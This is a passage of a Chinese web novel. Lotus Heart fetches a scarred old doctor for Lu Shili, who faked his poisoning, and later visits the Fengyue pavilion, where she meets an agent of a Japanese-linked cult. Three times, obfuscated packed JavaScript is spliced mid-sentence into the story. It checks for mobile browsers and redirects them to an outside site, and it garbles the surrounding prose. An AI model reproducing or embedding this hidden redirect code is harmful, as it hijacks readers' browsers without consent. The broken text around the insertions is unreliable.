凭着自手指而不断向上蔓延的青紫，她依稀记得，这很可能是南疆的一种毒。 无色无味，见血即发，若不能及时寻到解药，便会高烧不退，直到心肺骤停。 越想越急，脚下步子更是加快，几乎都要走出残影。 也不知走了多久，由飞驰带来的些许温度逐渐消退，丝丝缕缕的冷气慢慢包裹全身，思绪浑浊之际，莲心冷不防望见不远处零星的火光。 鬼使神差的，她心中生出几分希冀，脚步朝着那处简陋的草庐移动，也不知是苍天垂怜还是本就命不该绝，待看清门上的两个大字后，莲心整个人都为之一振。 只见昏暗的光线下，破旧的木门用草书洋洋洒洒，一左一右写着“医馆”。 消散的热度又一点点回了过来，莲心用力抹了把脸，抬手轻叩了三下大门，高声问道。 “敢问医官可在屋内？” 不消片刻，里面传来了一声瓷器碰撞的清响，随即便是窸窸窣窣的脚步声，“踢踏踢踏”的，听声音似是从屋内往门边来。 见状莲心更是大喜过望，正欲上前，却冷不防被门缝中探出的半张脸吓了一跳，幸好她经常习武脚下功夫了得，否则说不好还真能脚下一滑摔个趔趄。 “老头子还没说怕，倒先给你吓了一跳。不过既然知道害怕，那看来不是荒山野鬼。” 虽然未见全貌，但光凭那半张脸便足以见得，此人极度不修边幅，一开口还有铺天盖地的酒气，想必是个嗜酒成性的醉鬼。 光凭这些并不会让莲心受惊，真正瘆人的，是他从右边眉骨一路蜿蜒而下的伤疤，宛若肉滚滚的泥鳅趴在脸上，一直延伸到下巴。 不笑已是可怖，他这一笑间，那伤疤更是牵扯半边皮肉，勾起一个难以言状的弧度，更显面目狰狞，尤其在这雨夜初见，极为可怖。 听到自己险些被当作“荒山野鬼”，莲心也丝毫不恼，她也清楚自己雨中跋涉肯定分外狼狈。想到这，反倒觉得这老者言语诙谐，倒不似外边那般令人望而却步。 “小女子冒雨前来，是请先生出诊。还请您医者仁心，救人于水火！” 没成想这老者笑得更深，一张面目更是扭曲成了怪异的角度。 “你凭何认为，到我这儿是会施以援手，而不是落井下石呢？” 22. 做戏 凭什么？ 也许是那苍老却仍饱含光芒的双眼，即使衣衫褴褛相貌可怖，但莲心从来都是用心看人，哪怕只说了寥寥数语，她却无法将这老者与“坏人”二字相结合。 又或者说，是为了心中那点点希冀，因着不愿熄灭最后一抹火苗，所以处处留白，想方设法地把人和事往好处想。 “君子论迹不论心，莲心年纪虽轻，但从您并未将我拒之门外起，便知道您定是将医者仁心贯彻到底的老人家。” 听她坦坦荡荡将一番话说完，老医者狭长的眼袋眯成一条缝，斑白胡须迎风拂动，若忽视那条长长的疤痕，倒很有种仙风道骨的风度。 “呦，还算你这小姑娘有点眼光”，老者满意地咂巴了两下嘴，缓缓将木门自内拉开，“我这儿的药材怕水泡，你就在门口站着，千万别弄坏了我的药。” 说完他甩了下灰扑扑的袖子，趿拉着磨得发亮的黑布棉鞋，一摇一晃地转过了身，在后面两人高的架子上翻箱倒柜地找起东西来。 即使开了门，莲心也仍是安安静静地站在原地，晶莹的水珠顺着衣角砸落在地，有几滴恰好落在门槛处，在那红棕木上留下一小片氤氲。 “哎对了——”，老者噼里啪啦翻了一通，手指顿在一板子瓶瓶罐罐之间，扭过头见莲心规规矩矩地立在门口，不免为她的识礼所喜，连声音都放柔了几分。 他问，“那人可有什么具体症状，外伤还是内疾？” “昨个儿还好好的，今天早上突然就高烧不退，整个人几乎只出气不进气了。” 说到这莲心语气不免焦急起来，她深吸一口气，继续道。 “还有就是指尖开始往上泛着青紫，我感觉可能是中了什么毒……” “呵——”，她这么一说老者表情立即严肃了起来，语气又沉又低，“何止是中毒啊，只怕是那断魂散，拖了小半天估计……” 莲心闻言更是着急，“人命关天，还请先生前往一救！” 不论结果如何，她还是抱有最后的期望。 老者往布袋里塞了两罐药粉，草草披上斗笠蓑衣，也扔了一副给莲心，轻声长叹了一口气。 “臭小子，来真的啊……” “嗯？您方才说什么？”莲心正往头上扣斗笠，没有听清怕误了要事，连忙边追边问。 谁成想这老者也是一愣，随即像是反应过来失言般，支支吾吾地东编西扯想要找补。 “啊……我是说得赶紧去，耽搁久了怕是更难救了。” 虽仍觉得有些不对劲，但莲心也顾不上那么多，赶忙搀着老者，在泥泞的路上一脚深一脚浅地往回赶路。 见莲心没有再问，老者自知暂时对付过去，为避免再说错话，也就没有再继续开口，只看着她靠前半步挎着药箱的背影，苍老的眼中闪过一丝慈善的笑。 大雨傍晚，终究是难以平静。 这边的莲心带着老医者冒雨赶路，仓促之下也就没有注意，一米开外跟了一路的两道黑影。 这是正巧天边划过一声惊雷，亮光映照间，露出了张于莲心而言并不陌生的脸。 此人不是别人，正是陆时礼的书童——安澜。 饶是披了蓑衣，这一路跋涉过来衣物也都湿透，他用力撩了把额前刘海上滴落的水珠，挥手示意身侧的同伴跟上。 “还跟啥啊，少夫人功夫比咱俩加一起都好”，同伴甩了甩脸上的雨水，小声发着牢骚，“也不知道少爷怎么想的，自己都那样了还派咱俩来保护少夫人？” 安澜一巴掌打了过去，直打得那少年捂着后脑勺倒吸一口凉气。 “你小子那点心思我还不知道，赶紧跟上！这点雨都受不了，往后怎么给你爹娘报仇？” “那不也得循序渐进才是嘛！” 那少年边跑还不忘边揉着后脑勺，跑出几步后仍不死心，挤着笑脸凑到安澜身旁继续问。 “安澜哥，咱们之中要论办事得力，少爷还是最器重你……” “得了，别给我扣高帽”，安澜无奈地打断了他的拍马屁，“想问什么就抓紧问，跟丢了人惹得少爷不快，到时候连我也救不了你！” 这位名唤小盛的少年撇了撇嘴，心道不就是回陆府，哪有什么跟不跟丢的。 “也没什么，我就是想问少爷当真中了什么剧毒，怎么看起来你一点都不担心啊？” 安澜不答反问，“你觉着呢？” 他就是因为不知道才问嘛，但小盛只敢在心里说说，毕竟这位也算是少爷的心腹，哪怕自己这个愣头青都知道，是万万不能得罪的。 “凭咱少爷的心智城府，应该……又是装的吧？” 见他好半天才不确定地问出这么一句，安澜不禁有些忍俊不禁，既不点头也不摇头，只是加快脚步跟了上去。 过了一会，跑得气喘吁吁的小盛才听到耳边传来轻飘飘的一句。 “作戏要做全套，你只猜对了一半，往后多学着点吧！” 眼看高潮迭起，即将进入尾声，另一边的陆夫人也紧锣密鼓地铺排起来。 草席、铺盖，就连焚烧的炭火都已经准备妥当，就等那边咽气，陆夫人一声令下便将人抬走火化。 主座之上的陆夫人盖着银狐毛毯，指尖捻着千字念珠，每划过一个珠子，口中都要诵读一句经文。 常陪在身侧伺候的桃华清楚，这都是专门为逝者诵经祈福所用。 心中不免生出一丝嘲讽，把人费尽心思害死，然后佯装虔诚地诵经祈福，说是良知未泯，左不过是心中有愧，怕冤魂不散前来报复罢了。 也难怪，若不是过于相信因果报应，这位陆夫人也不会拖延至此，直到现在才下此狠手。 其实这次下毒，桃华也是有所参与的，并且在其中承担极为关键的一环——投毒。 也许莲心绞尽脑汁都不能想到，这毒竟就藏在那一小碗她最爱的云吞汤里。 卖云吞的小贩收了银钱，依照她的吩咐在那碗不加紫菜的汤里加入药粉，而有不吃紫菜的陆时礼，便在一顿饭的时间里中了毒。 桃华在心里轻呬一声，你瞧，世间之事就是这样防不胜防。 小心提防又怎样，稍不注意便会被小人钻了空子，宁可得罪君子不要得罪小人，大抵原因便是如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200683|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 想到那双总是充满坚毅的杏眼，桃华紧握双拳，心中暗暗祈祷，快一点，再快一点。 不管如何，那个总是一往无前的少女，不应该就此陨灭，至少不是现在。 雨声阵阵，宛若急急促促的战前擂鼓，宣告着大战已经开始。 那边的陆夫人自觉胜券在握，却不知千算万算，自己也会棋差一招，陷入了对方的预算之中。 老医者自称姓厉，虽然年过五旬，但身手竟极为了得，都不用莲心伸手帮忙，一个助跑就爬上了一人多高的院墙。 “您老真是身手极佳，出乎晚辈意料啊！” “那是自然，混迹江湖没点身手还怎么办”，老者显然也颇为得意，一个不稳栽了下去，幸好莲心眼疾手快，拖着他的脚才让他稳稳落地。 厉老汉吸了吸通红的酒糟鼻，有些难为情地轻咳一声，一边往前走，一边出言为自己找补。 “年纪大了，嗯……这怎么都跟你们年轻人比不了了。” 莲心赶忙点头称是，两人也没耽搁功夫，径直来到了卧房。 和走之前一样，陆时礼仍旧无知无觉地躺在床上，脸上的火红似乎褪去不少，面颊苍白如纸，也不知是好是坏。 “哎呦，这情况可不太好，快点去外面烧壶热水，再把我这银针好好烫烫，最好是用小火慢烤。” 莲心虽感不解，但毕竟是医者所言，想是一定有如此的道理，也没多问，端着铜盆接过那卷银针便出了门，到后院厨房生火去了。 听着脚步声渐行渐远，厉老汉才长舒了一口气，面上再没了半点先前紧张焦急的神情，反而不疾不徐地坐在床边，慢悠悠地打开药箱。 一粒血红的药丸喂下，老者伸出苍老干枯的手，怜惜地拍了拍陆时礼毫无血色的冰凉面容，低低叹了一声。 “哎——你这小子谁都敢瞒，做戏就做戏，还真中了毒，可把老头子给吓坏了。” 但好在他还算有分寸，没有真的中了那个失传已久的剧毒，否则就算是厉老汉，都不敢有把握说能救得过来。 对了症，约摸不到半个时辰，陆时礼的面上又重新泛起血色，呼吸也变得均匀有力，扇面般的长睫微微颤动，缓缓睁开了眼。 “铛”的一声，莲心放下刚烧好的热水，几滴滚烫的水珠溅在手背，她也浑然不觉，颤抖着声音轻呼，“你醒了？” “嗯，醒了”，见莲心狂奔而来，陆时礼干裂起皮的嘴唇微微翘起，声音低柔尽是柔情，“我没事，你别担心。” 他这一笑，莲心也跟着笑了起来，“我知道，你醒了我就不担心了”，然而虽然这么说，可她哽咽的语气还是暴露了压抑已久的情绪。 反倒是厉老汉坐看一眼，右瞧一通，悠哉悠哉地翘起腿喝起了隔夜的凉茶，倒也算是津津有味。 门外的雨似乎浅浅停歇，夜幕低垂，视野仍是一片模糊不清。 “接下来的事有安排了吗？”厉老汉喝完第二杯，慢慢问道。 陆时礼敛在眼帘下的神情看不真切，似乎有着淡淡的煞气。 “自然是要新账旧账一起算了。” 23. 牵引 半块沉香木已经燃掉一个角，屋外的雨完全停歇，几声细碎的脚步突然响起。 主厅之中的陆夫人正顺着白猫长长的绒毛，见小厮惊慌失措地跪倒在地，鞋边未擦干的水渍浸湿了周围一小块素金地毯，细眉明显蹙了起来。 “人没了？” 然而小厮却是把头压得更低，哆哆嗦嗦回道，“不……是云吞店的阿旺，他，他不知为何主动去了官府投案，说是有人指使他给少爷投毒的。” “混账，好端端的人不做便要去做鬼”，陆夫人低喝了一声，转而侧过身望向沉默不语的桃华。 “他若是交代了，此事便与你脱不了干系，真到了那一步，该说什么不该说什么，你应该清楚。” “是，奴婢自当一力承担”，桃华轻轻颔首，声音平淡无波，丝毫听不出为自己的处境担忧。 此刻的陆夫人显然没有心思注意这点异常，她站起身子围着桌案左右踱了几步，又转身问小厮。 “那小子何时去报的案？” 小厮用力拍着脑袋回忆，声音满是诚惶诚恐，“应该……也就一个时辰之前。” 一个时辰？ 这么长时间足以让他明明白白地交代好前因后果，这事也人命关天，按理说官府应当早早派人来了，不应当会拖延至此。 绞尽脑汁思索之际，陆夫人突然心口一颤，想到了另种更为糟糕的可能。 或许自己根本就是被摆了一道，所作所为自以为天衣无缝，其实早就被人家将计就计，当刀子使了。 “废物，那么个小商贩都看不住，你们都是吃干饭的吗？” 陆夫人显然怒不可遏，小厮上牙打着下牙，嗫嚅着说，“小的们以为他拿了钱就会老实，眼下这般都是小的们的不是，您放心，就是千刀万剐我们也认。” 千刀万剐？ 陆夫人唇畔露出一抹冷笑，嗓音因震怒变得分外尖厉，她用力拍了下桌案。 “想死可没有那么容易，滚出去继续打听，还有南院那边也过去个人，是死是活给我传个准话！” 多少年下来了，虽然明知道那病不传染，但众人心里还是犯嘀咕。 没有特殊的死命令，是绝对没人愿意去南院打探丰风声的，更别提有几个大着胆子都是吓个半死回来，问什么也不说，整个就变了个沉默寡言的样子。 可眼下这种情况，去不去也由不得他们了。 小厮赶忙连连应声，连滚带爬地从正门而出，到下面吩咐任务去了。 屋里一下子又安静起来，陆夫人仍旧静静靠在毯上，敛眸沉思，而身后的桃华还是那副淡淡的样子，不动也不说话。 即使没有开口，但两人默契的都想到了一件事，或者，更准确的说，是想到了同一个人。 这个人不是别人，正是陆夫人从前的同乡，也是将南疆毒粉带来的，提出此计的老富。 老富这个人游手好闲的大半辈子，还是陆夫人看在知根知底的份上，破格用他做了名马夫，平时就管喂喂马，因着歪点子多，所以有时候也是帮着帮点见不得光的事。 比如之前下过的几次毒药，也都是他穿街走巷偷偷摸摸买来的，但因为效果不佳，所以这次他就主动提出了这个主意。 焦急心切的陆夫人略一思索，还是同意了下来，只不过他们大喜过望忽视了最重要的一点，那就是整件事情比起从前进展的未免太过顺利了。 螳螂捕蝉，黄雀在后，殊不知自以为的猎人，却成为了别人口中的猎物。 但只有陆夫人知道，自己也并非满盘皆输，至少现在为止搭进去的，也唯有老富一个人而已。 能走到这一步，她之所以如此提携老富，绝非外人看来的同乡情谊。 更重要的，是因为老富表面虽是个游手好闲的老光棍，实际上却是那边的暗卒。 比起逮捕桃华，她反倒觉得抓住老富是对方的纰漏，也正因为这个疏忽，她还并不是完全没有翻盘的机会。 那边既然决定放弃老富，自然也会替她安排好一个替罪羔羊，这下子倒更省事了。 只不过，她捻了下腕间的珠串，心中暗暗长叹了一口气。 看来想要除掉那小子的，远远不止她一个人啊…… 事情的发展也跟陆夫人预测的大致不差，老富果然没有没有将她供出，而是将罪责一力承担。 甚至还编了个可信度极低的借口，说因为陆时礼伤了心肺，气血虚火冲撞了晦气，以致于他赌钱手气不济输了不少，所以心里憋了股火，再加之手上碰巧有一瓶毒药，这才动了杀心。 “这理由，也亏他编得出来。”莲心锐评。 安澜摆了摆手，无奈地叹了口气。 “这世上什么人都有，你觉得这理由离谱，可偏偏还有比这更离谱的，总之官府已经采纳，这案子基本也就这样了。” “那你们之前设了那么大个连环套，肯定不是为了就套住这么一个老赌徒吧？”莲心更是不解，赶忙追问。 “那不然能怎么样，他在狱中自尽这条线也就断了。那些捕快多半都是酒囊饭袋，送到手的都管不住，还能指望他们重新排查去抓人？” 安澜皱了皱眉，“再者说也不算全无所获，最起码可以确定陆夫人确实跟倭人有瓜葛，而且经过这事，我们又找到了个新的突破口。” 这句话算得上是一个好消息，莲心不禁瞪大了双眼。 “莲心……”，就在这个紧要关头，一直躺在床上静养的陆时礼突然翻了个身，朝苏莲心眨了眨眼，“我渴了。” 莲心从壶中倒了杯温水，然后递到他唇边慢慢倒了下去，动作娴熟一气呵成，看得一旁的安澜有些诧异地张了张嘴。 “ 你们不仁，但我还是要讲义气的”，莲心也给自己倒了一杯，语气难掩嗔怪。 “可不像有些人，嘴上说着要共进退，还是背地里安排自己的，让人白操心一场。” “少夫人您别生气，”安澜赶忙上前打着原场，“是我怕您没演好打草惊蛇，才瞒着少爷没告诉您的，您要打要骂都冲着我来，千万别跟少爷伤了和气。” 莲心捏紧双拳又放下，朝陆时礼瞥了一眼。 “不怪你们，都是我自己心甘情愿冒雨赶路，连人家放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223867|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床畔的字条都没有瞧见，挨浇也是应该的。” “安澜，别忘了跟书苑的李先生告几天假，就说我染上风寒不便行动那间单独书室里的书都不动，我过两日好转便继续去。” “哎，我现在就去说”，安澜麻利地点了点头，临走前还不忘朝陆时礼眨了眨眼，而这番动作也被莲心看在眼里。 但她只挑了挑眉，便站起了身，“时辰也不早了，你先等一会，我去看看熬的小米粥好没好。” “这次怪我没有提前说清，让你担心了……” 陆时礼的话还没说完，就顿在了原地，因为他从莲心的眼神中看到，并不需要再说。 很快，热腾腾的小米粥被端了上来，配着研制的爽口小菜，清淡又饱腹。 “对了，安澜刚才说又有个浮出水面的”，莲心喝下一口粥开口问道，“可是跟淮州那波人也有关联？” 大曜当前通倭的奸细不少，但莲心觉得，能让安澜用那种语气说出来，肯定并非一般情况，最可能的便是与淮州相关。 陆时礼小口舀了一勺小菜放进嘴里，有些严肃地摇了摇头，声音中不见喜悦，反而隐隐透着担忧。 “怎么，是哪里比较棘手吗？”莲心轻轻搁下碗筷，心中有些不安。 “确实是比较麻烦”，陆时礼皱眉点了点头，“老富每月都会去落英街的风月阁，这阁主不是别人，恰好是北疆戍边大将军齐淮的独子齐绍宁。” 莲心沉吟片刻，问，“你怀疑，老富背后有着个组织，而那些毒药也很可能是出自他们的手笔？” 陆时礼轻“嗯”了一声，继续道。 “这一年多来三叔也暗里给我安排了不少人，自从淮州那场惨案之后，我也加紧了对于几个可疑人员的布控，发现他们无一例外都是风月阁的常客。” 这确实极为可疑，不过，风月阁作为江洲最有名的戏馆，正所谓雅俗共赏，光凭这个显然不足以构成推论。 果然，陆时礼又补充了他的看法。 “这段时间以来，我发现不少主战派的官员都染上相似的病症，先是浑身无力，然后高热不退，最后几乎都是吐血而亡。虽然人数不多，看起来也极为巧合，但我总觉着事情并没有那么简单。” 莲心已经听明白了他的意思，这样突然而又猛烈的病症，很有可能就是一种毒发。 “既如此，那便不得不找时间去查探一下，不过先说好，你得先养好身子。” 见莲心这样说，陆时礼乖顺地又喝起粥来，黑眸一闪一闪，好像是在撒娇一般。 “好，那地方鱼龙混杂，你也别单独行动，到时候我们一起去，也好有个照应。” 莲心突然手指一顿，语气也多了几分紧张，“对了，既然要对你下手，下一步会不会直接就是刺杀？” “不会”，陆时礼无声一笑，眼神却浮现淡淡的肃杀之色，声音中多了些玩味和嘲弄。 “不出意外的话，不到半个月我爹他们就能到家，杜氏那个毒妇也扑腾不了两天了。” “而且……倭人看样子也未动杀心，他们这样，充其量只时想震慑罢了。” 24. 风月 不过短短三日的时间，陆家上下却觉得比三年还要更漫长难熬。 当然，这其中并不包括南院在内，提心吊胆的日子过了太久，乍一下休闲自如起来，莲心他还还有些许的不适应。 他们悠哉地读书习武，陆夫人那边显然就没有这么好过了。 连端茶送水的粗使丫鬟都感觉得到，无论是空气还是氛围，都沉甸甸地仿佛随时会压下，裹挟着她们的咽喉，让人很难喘得上气。 从老富在狱中撞墙自尽的消息传来后，陆夫人就一直静静跪在佛前诵经祈福，连深受信赖的桃华都被屏退一旁，其他人就更难亲近。 唯一还能说得上话的，便只有从少时就伴在身侧的老嬷嬷。 “夫人，心意到了即可，不可不顾及自己的身子啊……” 终于，当这位老嬷嬷第八次颤巍巍地出言提醒，陆夫人才缓缓睁开了双眼，捻着念珠的手也随之停了下来。 “孽缘啊……”，陆夫人沉沉叹道。 老嬷嬷递过杯茶，苍老褶皱的面容上露出一抹诡异的笑，“您也莫要泄气，或许真如那边所说，留下大公子也未必就是祸患。” 听到这话，陆夫人那双晦暗的眼中少了混沌，突然闪过一缕亮光。 “你是说……？” “正如夫人所想”，老嬷嬷眼睛眯得更紧，厚大的眼袋掩住了浑浊的瞳孔，连语气也尽是神秘。 “陆家的那些担子总要有人来挑，不是他也会是二公子，既如此何不就顺水推舟？这世道能否活得下去就要看个人的造化了，万般种种也就怨不得您了。” 是啊，她的这个夫君好色嗜酒，但又偏偏最有文人风骨，总会在最危险的时候，因着那点济世安民的包袱挺身而出。 至少在大曜覆灭之前，陆家子辈中需要出一个继承衣钵之人，明知大厦将倾，她自然不会让自己的儿子淌这趟浑水。 越靠近权利中心，在这个时候也就越危险，什么挽大厦于将倾，那都是混弄人卖命的屁话。 也好，那小子不是费尽心思想活吗，那她便成全他。 红唇勾起一抹冷笑，陆夫人心道，如今这个吃人的世道，死可远比活着舒服。 慢慢走，路还很长，她会带着儿子踏着这群尸骨，一步步走到属于自己的终点。 “哎——不是，你慢点走，步子迈得那么大哪里还像个病入膏肓的人。” 见莲心绷着嘴角，一副英勇就义的模样，陆时礼忍俊不禁，“怎么，天不怕地不怕的莲心女侠，竟然会怕进戏馆？” “那怎么可能！”莲心赶忙矢口否认，嗫嚅道，“我就是听说这家不是正经戏馆，里面，好像……” 何止如此，昨天她在街上吃早食问及此地，那些大叔大伯们眉飞色舞，简直把里面描述成了个销金噬骨的风流乡。 至于里面的戏曲也不是常听的那种，莲心也听其中一人哼了一段，言语露骨直白，不仅她，饶是卖汤包的妇人都羞红了脸，轻喝他们不许再唱。 于是乎，风月阁其中之风月，便在初来乍到没见过多少世面的莲心心中埋下了极为深刻的印象，不说如同洪水猛兽，也只会比那更为排斥。 虽然没有明说，但看她的神情，陆时礼也猜了个八九不离十，顿时笑意更浓。 “凡这种场所，皆有雅俗两种，你只听了其一，而今天我们选的，自然是其二。” 说着两人已经走到门口，因着莲心精心画了容貌扮上男装，一路上也没人认出，只当陆时礼是大病初愈就携友出来找乐。 这种事虽然放在陆时礼这种谦谦公子身上分外稀奇，不过结合他最近的遭遇来看也并不令人意外。 毕竟半年内犯了好几次病，又是吐血又是晕厥的，趁着还有精神出来找找乐子也是人之常情，要不就这么两眼一闭也有些可惜。 男人们大多这样想着，而妇人们更多是替莲心鸣不平，好不容易逃难过来嫁给这样不知哪天咽气人不说，还得受这种闷气。 然而她们不知道的是，被给予同情怜惜的莲心姑娘正一身青袍，在一群莺莺燕燕中进退两难，死死盯着那漆红鲜艳的门槛，就愣是抬不起步子迈进去。 “陆大公子，您看您这位朋友，呦，还如此怕生，想来是第一次到这来吧？” 她们不知道的是，此刻的莲心内心可谓是天人交战，方才有些放下的心，在看见这几位大冬天还身着清凉的女子时，就又提到了嗓子眼。 哪怕就在门口，她也依稀可以分辨得出，那掺杂在乐声中的阵阵嬉闹，脸颊绯红之际，步子似有千钧，怎么都抬不起来。 “我这兄弟脸皮薄”，陆时礼笑着点了点头，护在莲心身后的手收回身畔，同时又上前两步，不动声色地将她与前面几名女侍隔开。 “麻烦开一间雅间，再上壶碧螺春。” 娇媚女侍红唇轻翘，伸手挥退了旁边的几人，笑着点了点头，扭动纤细窈窕的腰肢下了两级台阶，又若有所思地回过头来，俏声问。 “还忘了问，陆公子和友人今日要听个什么曲子？” 陆时礼眯了眯眼，头也不回地回答道，“来首《玉门关》吧。” 果不其然，莲心明显看到那名女侍的眼神一滞，但随即又消散不见，甚至较之刚才笑意更深。 “好啊，正好号称琵琶圣手的瑶锦也在，您二位在雅间稍作休息，好戏很快便来。” 前十五年的时间，莲心虽然跟着父亲出过几次镖，可那都是在淮州附近，也不是没听过戏，但多是乡间的草台班子。 就算偶尔来了个大戏班，也多因着红喜事，唱的也大多都是喜庆的那几首。 这首《玉门关》她曾经听人说过，讲的是丝绸之路和西北戍边将士的英雄事迹，但从没亲耳听过，见还是琵琶圣手来演奏，顿时不免有些激动。 名为“风月”，雅间之内更是别有洞天，不见廊亭内的雕梁画栋金碧辉煌，反而处处透着古究的雅致。 方正的厅堂之中架着半人多高的屏风，上用丹青勾勒出江洲碧落湖的初夏胜景，湖面有游船，船的两旁还挺立着朵朵芙蕖，宛若莲间泛舟，别有一番悠闲自在之感。 “这屋里不知为何，总觉得有点怪怪的”，莲心左右环顾了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227355|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番，小心地坐在一处毯子上，低声嘀咕。 她读过的书不算多，也不知道名流文人的偏好，只是从进屋以来，就觉得莫名压抑，不知是因为空气中弥漫的淡淡甜香，还是这些过分讲究的摆设。 比起她的处处拘束，陆时礼就显得放松自如许多了，此刻听着她的满腹牢骚，笑着拍了拍她的手背。 “也怪我思虑不周，早该想到你定不习惯这里，怎么，要不要到门外透透气？” 混杂的各种名贵香料早就将整个房室浸染，饶是熄了香炉也无济于事，这些气味闻惯了不觉有异，反而会觉得提神醒脑。 可是对莲心这种对香料不适的来说，那简直是比火烧还要难受，不大一会的功夫就感觉如坐针毡，此刻听他这么说，赶忙如释重负地站起了身。 “太好了，那我就到门外的窗边透透气，你有什么事敲下桌子我就进来。” 看着莲心迫不及待推门而出的架势，陆时礼忍俊不禁地点了点头，“尽量别与他人搭话，有事就赶紧进来。” 然而还没等她推开门，雕花镂空的木门就被一双素手自外缓缓推开，露出一张出水芙蓉般的面庞，尤其是眼波流转间，尽展我见犹怜之感。 “公子”，那少女约莫二十六七岁，见莲心站在门边，面上浮现出短暂的错愕，但也仅是稍纵即逝，随后抿唇一笑，扶着琵琶的身段尽是弱柳扶风。 不知为何，莲心的脸唰就一红，那股凝滞的空气层层叠叠压了下来，饶是女子她也有些受不住这种风情，“啊，你先进去唱，我到门口透透气。” 说罢急急忙忙地侧身出了门，留下瑶锦立在门畔，半晌，才无声一笑，也关上门走了进来。 “少爷果真有眼光，您的这位少夫人的确很有意思”，此刻若是莲心透过镂花来瞧，定会大吃一惊。 因为方才还风情万种的琵琶圣手，此刻敛眸垂睫，周身之间还散发着战场之上浸染的那种独特的肃杀之气。 “她年纪小，您别吓到她”，陆时礼竟也站起了身，恭敬地行了一礼，“倭寇吃了几场败仗，三叔说一年半载的他们也不敢再来了。” 别人不知，名冠江州的瑶锦在三年之前，也曾经是陆家军中的一名女将，每次开展之时都将战鼓敲得猎猎作响，也备受陆将军的器重。 “那便好”，瑶锦松了口气，指尖一边拨弄着琵琶，一边压低声音继续说。 “你说的那个老富我也调查过了，确实是这里的常客，不过都是在一楼门口蹭吃蹭喝，也从未听说和谁走得近。” 这也就是说，哪怕他真是在这碰头，也不是跟里面的歌舞小厮，只会是乔装打扮的宾客。 “若真如此，这条线怕也是难查了。” 瑶锦也低低叹了一声，肯定了陆时礼的看法，“这地方不同别的，最是鱼龙混杂，若真找下去无异于大海捞针。” 就在这时，门口传来“啪”的一声脆响，两人赶忙出门去看，却都惊起一身冷汗。 只见窗边的茶杯碎成两半，浅褐的茶水顺着窗棂汩汩流下，而本该在此吹风的莲心，早已不见了踪影。 25. 噬野 莲心确实遇到了危险，只不过不是被绑，而是她掳走了别人。 至于事情的起因，那还得从半刻钟之前说起。 那时候的她正喝着茶水，透过窗子眺望街市热闹繁荣的景象，殊不知一眨眼的功夫，身旁突然鬼鬼祟祟经过了个人。 原本莲心没太注意，谁知那人刚经过又折返了回来，还故意凑到莲心身边，神秘兮兮地小声问。 “小兄弟不乐意听曲儿？那想不想再找点乐子？” 听他这么一问，莲心才慢慢扭过头来，只见那人约莫年过四旬，枯草般的胡须与头发乱糟糟地缠在一起，整个人的气质如同那身看不出本来颜色的外袍。 明明极为不起眼，但绿豆眼中总是含着隐隐的精明，饶是莲心没有相面的本事，也不难发现此人并非普通的流浪汉。 至少他能出现在这里，并不是偷溜进来蹭吃蹭喝，而是有自己的一番目的。 想到这，莲心尽量压低自己的声音，使原本清脆的嗓音含着沙哑，也低着头凑近他，佯装感兴趣地问道。 “哦？敢问兄台有什么建议？” 口上虽然这么问，但心里早就满腹匪夷，这位大叔虽然衣着破旧，但深紫的嘴唇却泛着一层油亮亮的光泽，想必是刚吃完肉食不久。 除此以外，便是他看人的眼神，看似随意其实不然，而且据莲心观察，他的目光并不像一般人那样落在妙龄女子身上。 恰相反，他几乎看向的都是二十出头的青年男子，特别是衣着整洁但又不十分华贵的，一走一过间，都成了他的搭话对象。 果然，只见那男子斜着嘴奸笑一声，随机从怀里的破布中翻出一个类似转盘的物件，小心翼翼地用手托着放到莲心眼前。 “您这是何意？” 待他摊平在掌心，莲心才看清那果真是个转盘，但又和普通的大不一样，上面刻的并不是汉字，而是细细密密的倭文。 周身的血液沸腾起来，莲心觉着，这或许就是天意，刚要中断的线索，直接就这样找上门来了。 她的这番变化看在那男子眼里，只当那瞬间苍白的脸色是因为激动，更让这男子得意了几分。 “小兄弟一看就是头回来吧，老哥给你介绍介绍”，男子拉着她往角落靠了靠，伸出满是泥垢的黝黑手指，点了点其中的一个格子，压低声音道。 “听说过噬野教没？” 其实莲心早就有所耳闻，作为东倭一直以来蛊惑大曜百姓的组织，噬野教也从民间统领发展到了有东倭皇室参与管理，规模扩大的同时势力范围也不断延展。 但是这个组织同时又十分严密，除非他们主动找你，否则很难与其产生联系，虽然传言组织内的所有人员都有特定的蜘蛛纹身作为标记，可很少有人亲眼见到。 又或者说，不是他们过于神出鬼没，就是看见的大多已经惨死于刀下，无从开口了。 本着演戏演全套，人设不能丢的原则，莲心仍露出满脸懵懂的神情，困惑地摇了摇头。 